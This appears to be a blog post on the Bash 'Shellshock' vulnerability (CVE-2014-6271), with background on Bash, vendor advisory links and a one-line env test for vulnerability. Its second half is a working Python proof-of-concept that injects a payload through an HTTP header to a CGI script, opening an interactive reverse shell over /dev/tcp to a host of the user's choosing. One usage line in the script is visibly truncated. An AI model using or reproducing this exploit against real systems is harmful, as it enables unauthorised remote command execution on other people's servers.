Stephane Chazelas, IT Manager at SeeByte, discovered a vulnerability in bash, related to how environment variables are processed: trailing code in function definitions was executed, independent of the variable name.
For those unknowing, Bash is a command processor, typically run in a text window, allowing the user to type commands which cause actions. Bash can also read commands from a file, called a script. Like all Unix shells, it supports filename wildcarding, piping, here documents, command substitution, variables and control structures for condition-testing and iteration. The keywords, syntax and other basic features of the language were all copied from sh. Other features, e.g., history, were copied from csh (C Shell), and ksh (Korn Shell). Bash is a POSIX shell but with a number of extensions.
The name itself is an acronym, a pun, and a description. As an acronym, it stands for Bourne-again shell, referring to its objective as a free replacement for the Bourne shell. As a pun, it expressed that objective in a phrase that sounds similar to born again, a term for spiritual rebirth. The name is also descriptive of what it did, bashing together the features of sh, csh (C Shell), and ksh (Korn Shell)
A flaw was found in the way Bash evaluated certain specially crafted environment variables. An attacker could use this flaw to override or bypass environment restrictions to execute shell commands. Certain services and applications allow remote unauthenticated attackers to provide environment variables, allowing them to exploit this issue.
- For Ubuntu, go here http://www.ubuntu.com/usn/usn-2362-1/
- For Redhat/Fedora, go here https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2014-6271
Description of bash from Wikipedia!
How to Check
To determine if a Linux or Unix system is vulnerable, run the following command lines in your Linux shell:
env X="() { :;} ; echo ThisSystemIsVulnerable" /bin/sh -c "echo completed"
if it returns the word ThisSystemIsVulnerable… then you are vulnerable.
Proof of Concept Code
#
#CVE-2014-6271 cgi-bin reverse shell
#
import httplib,urllib,sys
if (len(sys.argv)<4):
print "Usage: %s
print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
exit(0)
conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]
headers = {"Content-type": "application/x-www-form-urlencoded",
"test":reverse_shell }
conn.request("GET",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data